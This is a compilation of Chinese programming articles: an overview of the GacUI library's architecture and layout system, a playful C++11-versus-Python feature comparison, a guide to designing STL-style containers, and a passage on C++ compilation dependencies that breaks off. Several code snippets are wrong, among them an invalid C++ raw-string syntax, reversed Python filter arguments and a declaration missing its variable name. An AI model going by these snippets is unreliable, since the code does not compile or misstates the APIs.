GacUI 类库参考

见：http://www.gaclib.net/Document.html#~/ 。这个网站host在Windows Azure上。如果要访问host在github io上面的镜像网站，可以使用 http://vczh-libraries.github.io/Document.html#~/ 。

这个网页里面的所有内容其实都在代码头文件的注释里，然后我写了一个工具把他们都抽了出来，做成了这个网页。至于为什么不用现成的工具，其实我一开始是直接使用VC++的XML注释功能的。VC++在编译的时候会帮我做完所有的事情，而且在开发的时候还会把注释写进intellisense里面，特别容易使用。

但是在这个过程中，我痛苦地发现，VC++要直接生成chm的话，必须使用托管项目。显然GacUI并不是托管项目，而且他要求托管项目的原因，仅仅是为了读取exe/dll里面的元数据。那么Native C++项目的元数据，当然就只能去pdb找了。于是我使用了VC++自带的一个处理pdb读写的COM库，把这个事情给做出来了。

后来我又痛苦地发现，VC++的XML文档，只给托管项目提供对模板的支持。我把注释写在模板类上，VC++在编译出最后的XML注释汇总文件的时候，写在模板上面的直接没有了！于是我只好放弃使用VC++提供的工具链，转而自己使用C#做了一个C++头文件的parser，从而解决了所有的问题。如果大家感兴趣的话，这个文档生成工具可以在 这里 找到。

不过我写的文档生成工具，只是产生了一系列的带元数据的XML注释文件。实际上这个网页是另外写的。网页会在访问者点击了一个类的超链接之后，去后台获取相应的XML，然后cache在客户端内存里。所以你点击第二次的话不需要重新加载——直到你关闭了这个网页。

为什么整个文档只有一个网页呢？因为那个时候我正在学习如何正确使用Javascript和CSS，就顺便练了练手。另一个原因是，我想把网站host在github io上，但是github io又不能后台跑程序，所以只好痛苦的使用Javascript把ASP.NET MVC里面我喜欢的部分做了出来，全部逻辑跑在浏览器里。

GacUI 源文件

可以在两个地方获得GacUI的源文件。

使用Release

第一个是Release。Release的正确下载方法是到 Release repo的Release页面 获取代码。目前Linux版本正在开发，OSX基本已经完工了，不过他们还没有集成到同一个Release repo下面。所以需要到 XGac 和 iGac 两个repo下载代码。

Windows版本的Release会包含以下几个文件，他们都是成对的.h和.cpp文件：


	Vlpp：跨平台的C++基础库。


	Workflow：一个可以靠反射访问C++类的脚本引擎，对象模型使用引用计数，跟C++的互操作性无比的好。


	GacUI：GacUI的主要部分。


	GacUIReflection：GacUI所有可以被脚本访问的类的元数据，用于反射。如果不链接这个文件的话，那么在初始化的时候，构造元数据的过程将被跳过。用户不需要写额外的代码来明确这个过程，只需要选择链接或者不链接这个文件就可以了。


	GacUIWindows：GacUI在Windows平台下面的Window Provider和Renderer。




目前你需要使用所有的文件，因为GacUI会把XML资源直接编译成Workflow脚本引擎的字节码，嵌入到生成后的二进制资源文件里。在构造一个窗口的时候，实际上就是在跑脚本。尽管Workflow脚本远没有C++快，但是一个窗口再复杂也复杂不到哪里去，所以加载的时间难以察觉。

明年即将推出把GacUI的XML资源直接编译成C++的选项，到时候可以无限缩小文件体积，再也不需要带上GacUIReflection里面的元数据了，那么Workflow和GacUIReflection在大部分情况下就都不需要了。不过如果你的程序想要支持插件，那自然无法使用这个功能。

阅读 GacUI 代码

上面的每一个文件都十分的大。我这样做纯粹是为了程序员的使用方便。程序员只需要根据需求链接不同的文件就可以了，而不需要把整棵目录树都拖进来。不过我自己在开发的时候，显然不可能直接写这些文件的。这些文件是我在做Release的时候，调用我写的一个命令行工具拼装出来的。包括上面提到的文档也是。

所以如果需要阅读GacUI的代码的话，应该分别去 Vlpp 、 Workflow 和 GacUI 三个repo。

GacUI 体系架构

事实上GacUI的架构是分层的，从底层到顶层分别是：


	Window Provider


	Renderers


	Elements + Compositions


	Controls + Templates


	XML Resource Compiler




Window Provider

Window Provider指的是如何操纵操作系统提供的原生的窗口、图片资源、鼠标资源、异步原语和一些其他的东西。毕竟GacUI怎么做，最顶层的窗口是没办法自己做的，最多通过Template来替换掉窗口边框。把GacUI移植到Linux和OSX的工作，主要就是写两个新的Window Provider，然后提供各个平台上不同渲染器的Renderer。其他的部分都是平台共享的代码。

Renderers

Renderers跟Window Provider是分开的。毕竟同一个操作系统上你可以使用不同的图像技术来绘图，而不同的操作系统上你可以使用相同的图像技术来绘图。举个例子，OpenGL和Cairo就是在很多平台上可以用的。不过OpenGL在每一个平台上都是二等公民，所以我并没有真的使用OpenGL来开发。一个GacUI程序在刚开始的时候，如果是Windows的话就是在WinMain函数里，需要首先选择一个Renderer，选择了之后就不能变了。

目前GacUI在不同的操作系统上使用的绘图技术如下所示：


	Windows : GDI, Direct2D 1.0, Direct2D 1.1


	Linux : Cairo + Pango


	OSX : CoreGraphics + CoreText




Direct2D的1.0和1.1的版本虽然只有初始化的代码有区别，不过这关系到能不能直接跟Direct3D 11.0搅在一起，所以单独拿出来讲了。目前GacUI在Windows上，如果你选择了使用Direct2D技术：
WinMain.cpp

#include <GacUI.h>
#include <Windows.h>

int CALLBACK WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int CmdShow)
{
    return SetupWindowsDirect2DRenderer();
}

那么在GacUI初始化的时候会优先选择Direct1.1。如果在代码里面引用了GacUIWindows.h，那么你还可以得到每个窗口所使用的系统相关的对象，可以让你在不得不使用非跨平台技术的时候，提供一个机会。

Elements + Compositions

在GacUI里面Element和和Composition分别代表基础的图元和排版功能。每一个Element运行在具体的平台的时候，都需要具体的Renderer对象。这些对象是前面两层合作提供的。

Composition是GacUI的其中一个重要部分。这个部分提供了所有的排版功能。一个Composition对象代表了窗口上的一个长方形的区域。每一个区域可以嵌入一个Element。当一个Composition确定了他的位置的时候，那么Element会被填充到整个长方形的区域里面，从而渲染出来。

几乎所有的Element都是很简单的几何图形，除了渲染文字的 GuiColorizedTextElement 和 GuiDocumentElement 。不过在制作控件皮肤（也就是Template的一部分功能）的时候，文本框控件由于功能的复杂性，皮肤需要提供一个区域让控件放置这两个Element，而不是跟普通的控件一样，全权处理所有的渲染对象。

目前Composition支持直接定位、Stack、Table、Flow和一些其他的功能。一个比较特殊的就是，使用 GuiDocumentElement 的 GuiDocumentLabel 和 GuiDocumentViewer 可以在富文本文档的中间嵌入Composition。这个功能是其他的Element所不具备的。因此这两个控件构成了一种新的排版方法。

Element和Composition的具体介绍将在以后的文章中提供。

Controls + Templates

Control的结构比较复杂。一个典型的GacUI的Control，包含了用来代表控件本身的操作和数据逻辑的Control对象，和包含了如何渲染这个空间的IStyleController或者IStyleProvider对象。IStyleController拥有整个Composition和Element的控制权。如果当一个Control只决定让皮肤控制一部分的Composition和Element的时候，那么他会提供IStyleProvider对象。

不过在开发的时候，程序员不需要区分IStyleController和IStyleProvider，因为使用XML来编写皮肤的时候，都是使用Template来编辑。最后每个Template会自己去找一个合适的wrapper对象来把自己wrap成IStyleController或者IStyleProvider然后提供给Control。IStyleController / IStyleProvider 和 Template的区别，就在于一个是Pull模型的，一个是Push模型的。Push模型做data binding特别容易，因此在XML里面都是通过创建Template对象来修改一个Control是如何渲染的。

每一个Control类都有自己相应的Template类。

对于列表控件、譬如 GuiTextList、GuiListView、GuiTreeView 和 GuiVirtualDataGrid 等，除了Template以外，还有ItemTemplate。Template和ItemTemplate是可以分开指定的。Template确立了整个控件的外观，而ItemTemplate确定了每一个列表项的外观。

如果需要对容器的内容做数据绑定的话，那么需要使用上述4个控件的Bindable版本，分别是它们的子类：GuiBindableTextList、GuiBindableListView、GuiBindableTreeView 和 GuiBindableDataGrid 。在使用这些控件的时候，可以通过在XML里面的Workflow脚本——其实通常就是

<GuiBindableListView ItemSource-eval="ViewModel.Something"/>


这种简单的表达式——把一个C++的容器对象绑定到ListView上。每个ListViewItem拿到的容器的每一个对象，可能最终类型是不一样的。GacUI还提供了一个功能，你可以通过给ListView的ItemTemplate指定一系列的Template对象，通过在XML里面写好的这些Template的构造函数的参数的类型，来让ListView决定到底要使用哪个Template。于是一个异构的列表就这么轻松的造出来了。

Compositions 和 Controls 的生命周期

你们可能会注意到，Control并不在这一层里面。这是正确的。因为整个窗口就是由Element和Composition共同组成的一张超大的动态矢量图。每一个Control负责管理这颗Composition树的一些子树，每一个Control会告诉你他最外层的Composition和用来做容器的Composition分别是什么，然后把Control放进Composition、把Composition放进、把Control放进Control的这些动作，实际上都是在操作Composition。在实际的代码里面，你的确也是首选获取Control相应的Composition，然后去操作Composition的。

因此Control和Composition并不是平级的，你可以认为Control对于Composition使用了Builder和Facade模式，让你更容易的操作GUI。

当然这种做法对整个GacUI对象的生命周期会有一些影响。当你在C++代码里面delete一个Composition的时候，他会把下面的所有Composition子节点一起delete。当你在C++代码里面delete一个Control的时候，他会把下面所有的Control子节点，还有对应的所有Composition一起delete。

所以这个时候就会有一个疑问，那delete一个Composition的时候，如果Composition子节点上有Control怎么办？为了解决这个问题，我提供了这样的两个函数：SafeDeleteComposition 和 SafeDeleteControl 。

另外值得一提的是，如果你直接delete一个Control（通常情况下是你用完了一个 GuiWindow 直接把它删掉），他会先删掉整棵Composition树，然后再删除Control树。所以自己开发的Control在析构函数里面，千万不能访问Composition，否则直接GG。

XML Resource Compiler

GacUI目前提供的XML资源文件，支持让你构造Window、UserControl、Template、类似CSS那样的InstanceStyle（主要通过XPath来批量设置XML的属性，比选择器好用多了，而且精确控制起来更不费脑）和一些共享的Workflow脚本。共享的Workflow脚本可以用来定义一些窗口的逻辑代码，还有MVVM模式需要的ViewModel的接口和数据结构。

当你准备好一个XML资源的时候，Release里面提供的GacGen.exe会帮你把XML资源编译成一个二进制的资源文件，还有一系列的C++代码。生成的C++代码模拟了C#的partial class的能力，让你可以像Windows Forms一样，准备控件的事件处理，还有在窗口初始化的时候做一些任务等等。而且当你的XML需要更新的时候，GacGen.exe重新生成的C++代码会跟你修改后的那部分自动合并。

使用Workflow脚本写的ViewModel相关的接口和数据结构，也会被一并生成C++代码。在构造一个带有MVVM模式的窗口的时候，你只需要继承一下ViewModel接口，然后把这个类的实例当做窗口的参数填进去就好了。所有生成的代码都是强类型的，如果你对象给错了，会直接无法编译。特别安全。

目前GacUI把所有的用来构造窗口的那部分XML，在编译之后都转成了Workflow脚本的字节码，写进了二进制资源文件里面（这项功能将包含在即将到来的下一个Release里面）。窗口在初始化的时候，会去资源文件里面找到相应的脚本来运行，从而按照要求创建控件和data binding。

在后续的开发过程中，我还将为XML资源提供Visual State、Animation、State Machine和多语言字符串资源等重要部件。明年还计划让Workflow脚本可以被编译成C++，不仅可以大幅度的提高编写出来的GacUI程序的性能，还可以通过让你再也不需要链接GacUIReflection，让你的二进制文件的尺寸缩小到1/8。

当然了，还是会有一小部分情况是无法让你完全放弃在二进制文件里面带元数据的，举个例子，如果你编写出来的程序需要支持带GUI的插件，那么为了加载那些已经被编译成二进制资源的、在发布了之后用户自行制作的GacUI窗口，那你还是要保留反射的功能。不过这种需求在广大的GUI程序里面还是比较罕见的。

值得一提的是，GacUI的data binding的功能十分强大，你可以使用任何满足语法要求的Workflow脚本表达式（基本上就像C#一样丰富）来从ViewModel和控件之间做数据绑定。举个简单的例子，你完全可以写三个文本框，然后让第三个文本框永远等于前两个文本框的数字之和，并且在输入错误的情况下报错：

<SinglelineTextBox ref.Name="textBox1" Text="0"/>
<SinglelineTextBox ref.Name="textBox2" Text="0"/>
<SinglelineTextBox Text-bind="(cast int textBox1.Text) + (cast int textBox2.Text) ?? '<ERROR>'" />


这个例子要用WPF或者其他GUI框架来写就很蛋疼。那么我在编译XML资源的时候是怎么处理这个表达式的呢？其实这主要使用了语言爱好者们非常熟悉但是总是搞不明白的CPS变换（跟各种语言的玄乎的coroutine在编译的时候其实使用了基本相同的手法），然后把这种pull的代码转变成push的代码，这样就可以在textBox1的TextChanged发生的时候，跟换存起来的其他没有变化的属性的计算后的值（如cast int textBox2.Text）一起，做最少的计算，最后写到第三个控件的Text属性里面。

你还可以在这个表达式里面引用你在资源文件里面提供的Workflow脚本，或者干脆引用你自己用C++写的类和库函数，来帮助你做一些不属于ViewModel但是却十分蛋疼的、GUI相关的功能。举个例子，写一个统计学生成绩的程序，你可能需要给学生分优良中差。显然如何描述一个等级，使用中文和英文的方法就不一样。然而这并不是ViewModel的功能，ViewModel应该只负责计算等级，然后GUI再根据用户使用的系统所提供的语言信息来决定到底要如何显示。

这部分你就可以从ViewModel中间分离开，独立的写成Workflow脚本、XML资源或者C++代码，从而在定义窗口的XML里面使用。这样整个架构分层清晰、测试起来容易、而且需求变更的时候还特别好改。

尾声

这篇文章主要介绍了在使用GacUI的过程中需要了解的一些关于GacUI的体系架构的知识。里面的每一个知识点都会陆续在接下来的文章里面详细描述。除此之外，我还会偶尔写一些文章来介绍GacUI的、外部不可见的、跟实现紧密相关的内部架构，以及需要用到的一些编译原理、设计模式等知识，敬请关注。
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我会随便说，C++ 近年来开始"抄袭" Python 么？我只会说，我在用 C++ 来学习 Python.

不信？来跟着我学？

字面量

Python 早在 2.6 版本中就支持将二进制作为字面量了[1], 最近 C++14 逐步成熟，刚刚支持这么干[2]:

static const int primes = 0b10100000100010100010100010101100;


更不用说 Python 在 1.5 时代就有了 raw string literals 的概念[3]，咱们 C++ 也不算晚，C++11里也有了类似做法：

const char* path = r"C:\Python27\Doc";


Range Loop

Python 写 for 循环是一件非常舒畅的事情：

for x in mylist:
    print(x);


大家都知道了，C++11里我总算也能做同样的事情了：

for (int x : mylist)
    std::cout << x;
    

类型自动推导

Python 中真的有类型的概念吗？(笑

x = "Hello World"
print(x)


C++11 也学会了这招，只不过保留了老太太的裹脚布(auto)。

auto x = "Hello World";
std::cout << x;


元组

Python 里的元组(tuple)让人羡慕已久，这玩意 Python 从一开始就有了。

triple = (5, "Hello", True)
print(triple[0])


好嘛，我来用 C++11 照猫画虎：

auto triple = std::make_tuple(5, "hello", true);
std::cout << std::get<0>(triple);


有人说了，Python 大法好，还能逆向解析成变量呢

x, y, z = triple


哼，C++难道不行？

std::tie(x, y, z) = triple;


Lists

Python 里，Lists 是内置类型[4]，创建一个 list 无比简单：

mylist = [1, 2, 3, 4]
mylist.append(5);


以前我们可以说，这有啥，std::vector差不多也能干这事。可 Python 粉较真了，您能像上面那样初始化吗？这话让 Bjarne Stroustrup 老爹听到了，暗自羞愧，于是在 C++11 里整出了个 initializer_list 做出回应[5]。

auto mylist = std::vector<int>{1,2,3,4};
mylist.push_back(5);


可人又说了，Python 里创造个 Dictionary 简单的跟什么一样[6]。

myDict = {5: "foo", 6: "bar"}
print(myDict[5])


切，C++ 本身就有 map 类型，现在又多了个哈希表 unordered_map，更像了:

auto myDict = std::unordered_map<int, const char*>{ { 5, "foo" }, { 6, "bar" } };
std::cout << myDict[5];


Lambda 表达式

Python 祭出大神器，1994年就有的 Lambda 表达式：

mylist.sort(key = lambda x: abs(x))


C++11 开始了拙劣的模仿：

std::sort(mylist.begin(), mylist.end(), [](int x, int y){ return std::abs(x) < std::abs(y); });


而 Python 在 2001 年加了一把力，引入了 Nested Scopes 的技术[7]：

def adder(amount):
return lambda x: x + amount
...
print(adder(5)(5))


C++11 不甘示弱，整出了 capture-list 的概念[8]。

auto adder(int amount) {
    return [=](int x){ return x + amount; };
}
...
std::cout << adder(5)(5);


内置算法

Python 里有诸多内置的强大算法函数，如 filter:

result = filter(mylist, lambda x: x >= 0)


C++11 倒也可以用 std::copy_if 干同样的事情：

auto result = std::vector<int>{};
std::copy_if(mylist.begin(), mylist.end(), std::back_inserter(result), [](int x){ return x >= 0; });


这样的函数在 <algorithm> 中屡见不鲜，而且都在与 Python 中的某种功能遥相呼应：transform, any_of, all_of, min, max.

可变参数

Python 从一开始就支持可变参数了。你可以定义一个变参的函数，个数可以不确定，类型也可以不一样。

def foo(*args):
    for x in args:
        print(x);
        
foo(5, "hello", True)


C++11 增加了对参数包的支持。但与 Python 的不同在于：只能在编译期通过模板来使用，而不像 Python 那样在运行期作为单个对象来使用。

template <typename... T> auto foo(T&&... args) {
    return std::make_tuple(args...);
}

auto triple = foo(5, "hello", true);




看到这里，你是否发现用 C++ 学习 Python 也不失为一种很妙的方式呢？ 从这个问题的答案，可以看出 @MiloYip 也是同道中人呢。 

继续

觉得不错？想要大展拳脚？ 看看这个 repo 吧。上面有更多的方式，教你用 C++ 来学习 Python.



参考资料：http://preshing.com/20141202/cpp-has-become-more-pythonic




 GacUI基本概念（二）——排版（1）

作者：vczh

来源： GacUI基本概念（二）——排版（1）



                    
这一篇先讲排版的一部分。文章的顺序是按照理解GacUI的顺序来编写的，所以那些难的、不常用的东西都会放到最后。显然一个GUI库，用户最关心的就是三个部分：排版、换肤和绑定。但是由于篇幅限制，排版也要分开几篇来写。

GacUI 排版的基本用法

如果不首先了解GacUI的排版机制的话，直接硬上通常都会遇到，怎么我创建出来的控件的大小是0这样的事情。GacUI不鼓励你hard code大小，所以所有控件都没有尺寸属性。不过我还是留了一个小后门，当你就是想要这么做的时候，还是可以做。而且我的设计刚好使得，如果你大规模hard code大小，那用起来就会很苦逼。

GuiGraphicsComposition

之前我们已经了解到，GacUI的图形都是由Composition和Element组成的。Composition的基类是 GuiGraphicsComposition 。在这里有几个重要的属性：

MinSizeLimitation 属性

首先要提出的是，虽然在XML上面可以直接使用这个属性，但是当你使用C++的时候，这个属性是通过 GetMinSizeLimitation 和 SetMinSizeLimitation 来访问的。MinSizeLimitation属性控制的是，这个Composition的大小如何被他的Children所影响。属性的类型是一个枚举类型：

enum MinSizeLimitation
{
    NoLimit,
    LimitToElement,
    LimitToElementAndChildren,
};


其中：


	NoLimit：Composition的大小跟他的Children完全没有关系。


	LimitToElement：Composition的大小仅跟绑定在Composition上面的这个Element有关系。举个例子，如果你的Composition使用了 GuiSolidLabelElement ，那么，Composition最小的大小就是Element里面的文字所决定的大小。当然这个Element里面也有一些设置，譬如说能否换行啊，能否显示省略号等等，这些都会影响最小大小的计算。


	LimitToElementAndChildren：Composition的大小同时受到Element和Children的影响。




那么Children是如何影响Composition的大小的呢？

Margin 和 InternalMargin 属性

使用CSS的朋友们应该都很熟悉，Margin和InternalMargin分别类似于margin和padding的概念。在这里需要特别指出，Children使用的坐标空间是由InternalMargin所决定的，原点刚好是InternalMargin划出来的矩形的左上角。这首先就限制了所有的Children都必须显示在InternalMargin的范围内，超出的部分都会被直接剪裁掉，哪怕他实际上并没有超出Composition的范围。

而Margin属性则是一个建议，他会告诉上一级的Composition在计算Children的大小的时候，要把Margin考虑进去。

PreferredMinSize 属性

PreferredMinSize属性跟上面的属性可以同时使用。你可以通过给一个值，告诉一个Composition，不管计算出来的最小大小是多少，总之不能小于PreferredMinSize的大小。

GuiBoundsComposition

GuiGraphicsComposition是个抽象类，他是不能直接使用的。如果你需要放一个Composition进你的树里面，通常你会选择 GuiBoundsComposition 或者他的子类。如果一个Composition不继承自GuiBoundsComposition，那么通常意味着，他的尺寸是完全受到上一级Composition的控制的，譬如Table控制Cell，Stack控制StackItem，Flow控制FlowItem，Document控制DocumentItem这样。

GuiBoundsComposition多出了两个属性，分别是：

AlignmentToParent 属性

AlignmentToParent属性分别强行设置了一个Composition的四个方向，Margin的外面跟上一级Composition的InternalMargin的里面的距离是多少。设置为-1就意味着不规定这个距离。只要你设置了AlignmentToParent，那么这将直接影响到上一级Composition的尺寸的计算。在这里我举个例子：

假设A包含B，然后分别有下面的属性：

A.InternalMargin = {left:1 top:2 right:3 bottom:4}
B.Margin = {left:5 top:5 right:5 bottom:5}
B.PreferredMinSize = {x:100 y:50}
B.AlignmentToParent = {left:-1 top:-1 right:10 bottom:20}


首先我们可以看出，由于B设置了这一个AlignmentToParent的值，所以无论A的尺寸如何改变，B永远都位于A的左下角，而且B的Margin和A的InternalMargin在右下角的距离分别是10和20。我们可以很清楚的知道，B的最小尺寸就是100和50，那么A的最小尺寸是多少呢？

首先，A的InternalMargin决定了，A的横向大小不小于left+right=4，纵向大小不小于top+bottom=6；
其次，B的Margin和PreferredMinSize决定了，B占用的A的空间的横向大小不小于left+right+x=110，纵向大小不小于top+bottom+y=60；
再者，B的AlignmentToParent规定了，B的Margin外面和A的InternalMargin里面还有一个10和20的距离；
因此：A的最小尺寸就是4+110+10=124，和6+60+20=86，然后B永远处于A右下角的指定位置。

那么这有什么用呢？如果A是 GuiWindow 的 ContainerComposition 属性，然后你放一个B进去，那么当你拖动窗口的大小的时候，你会发现当窗口的客户区小于124和86的时候，窗口就会限制你不能把他拖得更小。事实上，你整颗Composition树的根节点的大小最后会反映到窗口上面去。

Bounds 属性

这是一个喜闻乐见的属性，因为透过这个属性，你就可以强行hard code一个Composition的位置了。你可以通过修改控件的 BoundsComposition 属性的 Bounds 属性，从而强行指定一个控件的位置。然而需要注意的是，Bounds的优先级是最低的，也就是说，如果它的值跟别的属性冲突了（譬如说Size比最小尺寸小，位置跟那些Margin和Alignment有冲突）的话，那么控件的位置和尺寸将不严格按照Bounds的设置摆放。控件会先参考别的属性的值，实在找不到约束了，最后去看Bounds。所以有时候会发现一个控件的位置跟你强行指定的位置不一样，就是这个原因。

我就是不喜欢你们hard code尺寸，哈哈哈哈哈哈。

GuiSharedSize(Root|Item)Composition

除此之外，GacUI还支持很多原生的排版功能。在这些排版功能里面，最有趣的就是SharedSize了。这是什么样的排版呢？假设你们在设计菜单。菜单的文字跟快捷键部分在垂直的方向上是不重叠的。然而他们的父子结构决定了，一个菜单首先按行切割，其次才按列切割。而且你还不能用表格做，因为每一个菜单是一个独立的控件，而且菜单里面还可以放别的东西啊。

那如何让一个菜单里面的所有菜单项，会在排版的时候，先互相交换文字和快捷键部分的长度，从而一个显示成这样的菜单：

TEXT1            [CTRL+SHIT+DEL+Z]
A-VERY-LONG-TEXT          [CTRL+Z]

不会被显示成

TEXT1   [CTRL+SHIT+DEL+Z]
A-VERY-LONG-TEXT [CTRL+Z]

呢？这就靠SharedSize了。SharedSize由 GuiSharedSizeRootComposition 和 GuiSharedSizeItemComposition 组成。其中Item并不需要——而且几乎也不可能——是Root的直接的Children。Root会在排版的时候去寻找（当然算法不可能这么写了这样太慢了）他子树里面的所有Item，然后根据每个Item设置的Group去分组，最后按照要求统一他们的最小尺寸。

因此在上面的菜单的例子中，我们可以在整个菜单的外围放一个Root，而每一个菜单项控件里面，分别用两个Item放文字跟快捷键，然后设置好分组的名字，文字分为一组，快捷键分为一组。最后要求每一个组的宽度都要统一（高度不需要）。最后的结果就是，所有的文字的最小尺寸都由最长的那个决定，所有的快捷键的最小尺寸也都由最长的那个决定，于是排版的结果就相当正确了。

尾声

今天讲的几个属性就是GacUI处理排版的时候的重要内容。当然GacUI不可能只支持这种排版，原生支持的排版功能还有Stack、Table、Flow、SharedSize和Document等。他们的具体内容可以参考 GacUI_Layout 这个demo。细节将在下一篇文章中讲述。除了这五种以外，GacUI还有一些奇形怪状的排版功能，这些基本只在制作控件皮肤的时候用到。

P.S.
控制相对位置的功能实在是太重要了，每次在CSS里面搞这些的时候都觉得好蛋疼，明明这些功能在GacUI和WPF里面设置出来如此简单，结果CSS连让一个div的大小贝设置成position: relative的child div的大小约束到这么常见、直接、简单的功能，都不提供。


 如何设计 C++ STL 风格容器

作者：Shihira

来源： 如何设计 C++ STL 风格容器



                    
STL标准库所提供的容器已经足够大多数的应用, 并且足够地稳定。但是当我们需要造点轮子的话，相比起另起炉灶, 能与现有的C++语义和容器兼容更加好. 我总结了一下一个STL-style container所应做的事情.


假设我们的容器类是:


cpptemplate<
    typename T,
    typename Allocator = std::allocator<T>
> class my_container;



代码风格


很多人表达过对STL代码风格的不满(全都是下划线), 至于libstdc++里满屏满屏的__gnu_cxx_****简直就是在防盗版. 不过也单独拿出来说一说, 并且拿其它的风格对比一下:



	保护型别用_St, 大多公用型别带有some_type后缀.

	模板中的参数名用CamelCase, 文档中称为 Concept .

	保护成员变量和函数用_M_var_or_func. Boost和Google的代码风格建议用var_or_func_.

	
参数和局部变量命名 __arg_or_local 都毫不留情地用两条下划线开头. Boost不建议用下划线.



Operations (操作)


对于数据结构的一些操作, 你应该设计相应的运算子(其实是语法糖)令程序更可读:



	一个好的容器应该起码要有重分配的操作, assign 和 operator=


	对于一些随机存取容器, at 对应 operator[], 但是当不存在时, at不会分配新元素而operator[]会.

	~~对于一些线性表, push_back或push 可以对应 operator+=.(但是并没有哪个容器这么做过, 为什么?)~~

	比较运算符operator==,!=,<,<=,>,>=, 对于元素类型满足EqualityComparable等概念的容器, 逐个元素迭代逐个元素比较.



然后是一些关于操作的约定命名:



	你不应该用 delete或remove 來代替 erase. erase 应该返回新的迭代器以告知用户旧的迭代器失效.

	你不应该用 isempty(用is表示它是个谓词) 來代替 empty(虽然这会带来歧义).

	你不应该用 empty 來代替 clear.

	你不应该用 first(更多用于元组)或 head 來代替 front


	你不应该用 last或tail 來代替 back


	你不应该用 search(std::search是搜寻一串连续元素时用的) 來代替 find, 并在找不到时返回end()(rfind返回rend())



并且你应该尽量实现这些操作.


Iterator (迭代器)


迭代器用于遍历, 这是一个容器所必要的. 一个容器的迭代器至少应该有begin() 和 end()两个接口來获第一个元素以及所谓最后一个元素的后继元素的迭代器, 通常还应该有cbegin() 和 cend()來保证获取到常量版本. 迭代器的分类如果是BidirectionalIterator, 你还应该实现反向迭代器rbegin(), rend()和它们的常量版本. 事实上, STL (的一些实现) 非常依赖迭代器, 如vector的operator[], 甚至将定位完全交给迭代器的算法去解决:


cpp// class vector { ... public:
reference operator[](size_type __n) { return *(begin() + __n); }



迭代器本身应该继承自std::iterator以保证5个特性(Trait)完整. 留意我们如果要获取一个容器的迭代器特性, 不应该直接 my_iterator::iterator_category, 因为在一些实现中my_iterator可能是vanilla pointer, 而应该 std::iterator_traits<my_iterator>::iterator_category, 这有助于减慢编译器的编译速度和增加代码长度秀逼格(误):



	
iterator_category: 迭代器分类, 指定一个iterator_tag. 用于在迭代的时候使用更合适的重载函数.

	value_type

	pointer

	reference

	
difference_type: 这应当是一个数值类型, 当你调用i += n时n的类型.



当你要为你的BidirectionalIterator实现反向迭代器的时候, 大可不必亲自动手造轮子. 利用标准库提供的适配器, 你只需要简单地令:


cpptypedef std::reverse_iterator<my_iterator> reverse_iterator;
reverse_iterator rbegin() { return reverse_iterator(end()); }



Allocator (分配器)


或许你在教科书上得知, 你可以在constructor里new一段内存, 并且在destructor里delete这段内存, 并且深深为面向对象的优雅所折服, 认为这是最好的做法. 然而更好的做法是, 我们把分配内存的工作从类的设计中独立出来, 交给这个叫分配器的东西帮我们处理.


一个容器最基本的功能就是储存功能, 所以容器的基本特性, 事实上就是帮助管理空间的分配器的基本特性. 分配器有7个由T生成的7个特性, 可以用allocator_traits获取. 例如容器的型别我们应该这样定义:


cpptypedef std::allocator_traits<allocator_type>::const_pointer const_pointer;
typedef std::allocator_traits<allocator_type>::const_reference const_reference;



关于更多的Traits这里不详述, 它主要目的是通过模板偏特化(又叫部分特例化, partial specialization)来同时为C时代就有的传统类型和class提供统一的接口为程序编写提供特性信息.


C++的分配器是无状态的, 它只有分配功能帮你省去各种烦人的类型转换和类型问题, 而不能代替smart pointer之类的进行安全的内存管理. 你在管理内存的过程中, 你应该至少这样做并不限于 (分配器的具体接口参考标准库文档):



	用 p = allocator_.allocate(n) 而不是 p = static_cast<value_type*> (operator new (n * sizeof(value_type))).

	用 allocator_.construct(p) 而不是 p = new(p) value_type.



C++11


C++11 新增了一些特性, 一个现代的容器应该与标准保持兼容.


initializer_list


在构造函数里实现初始化列表可以使你的容器拥有类似这样优美的语义:


cppmy_container<int> cont{1, 3, 5, 7};
my_container<pair<int, int>> = {{3, 4}, {5, 6}};

// 要做到这一点只需要实现这样的接口:
explicit my_container(std::initializer_list<value_type> l) { /*...*/ }



你可以在类似于 append() , assign() 等所有你认为合适的地方也实现这个接口.


R-value Reference


移动语义解决了饱受诟病的右值构造的浪费问题. 你需要在构造函数, assign(), operator=() 实现右值引用版本的接口.


cppmy_container(const self_type& other) { /* copy other here */ }
// 除了经典的复制构造函数以外, 你还应该实现右值引用版本的重载
my_container(self_type&& other) { /* swap pointers */ }



转发解决了参数传递时多次构造的浪费问题, 这可能在 insert(), push_back()之类的函数中用到. 比如下面, 转发可以令这个vector在整个插入过程中仅构造了一次.


cppmy_container<vector<int>> cont;
cont.append(vector(1, 2, 3, 4));
cont.append({1, 2, 3, 4});

// 利用模板甚至可以用一个函数含括这两种操作
template <typename ... Args>
void append(Args&& ... args) {
    // ...
    allocator_.construct(p, std::forward<Args>(args)...);
}



Thread Safe


C++11很有绅士风度地加进了线程库, 并且对STL的线程安全实现提出如下要求:



	保证对读同一个容器的并发安全

	保证写不同容器时的并发安全



什么!? 这跟没有线程安全有什么区别? 是的, 然而这并不是一个Bug, 而是一个Feature, 这一切都是为了通用库性能考虑.




暂时先写到这, 以后想到什么再加. 本人水平有限, 此文权当抛砖引玉, 欢迎大家指正.


参考资料:



	StackOverflow:


	http://stackoverflow.com/questions/10044449/a-function-with-variable-n...

	http://stackoverflow.com/questions/4688177/how-does-iterator-category-...





	Books:


	STL源码剖析 - 侯捷

	C++ Primer 5th Edition - Stanley B. Lippman 等

	The C++ Programming Language - B.S.





	C++ Reference: http://en.cppreference.com/


	GNU libstdc++ source code




 怎样削减C++代码间依赖

作者：wankai

来源： 怎样削减C++代码间依赖



                    
1. 介绍


C++程序编译很慢，特别是大型工程，你都可以趁着编译的功夫喝杯咖啡。这里面既有天灾也有人祸。


天灾请看此文，本文探讨怎么避免人祸。




2. 编译过程


后文需要，我们先了解C++源代码的编译过程





为叙述方便，图中各文件类型称呼如下:



	.h   头文件

	.cc  源文件

	.o   目标文件



本文不探讨链接过程，只考虑编译和预处理。


预处理


经过预处理后，头文件就消失了。因为 #include 预处理指令将其展开在源文件中，编译阶段是不需要头文件的。常见的预处理指令还有 #if, #elif, #end, #ifndef,  #define 等。


#include 其实非常简单，就是把文件在当前位置展开，没有任何多余的功能和限制。所以你不仅能 #include 头文件，还可以 #include .cc文件， 甚至任何文件。


编译


经过预处理后，只剩下源文件了，编译就是把每个源文件转换成目标文件。记住，源文件和目标文件是一一对应的。


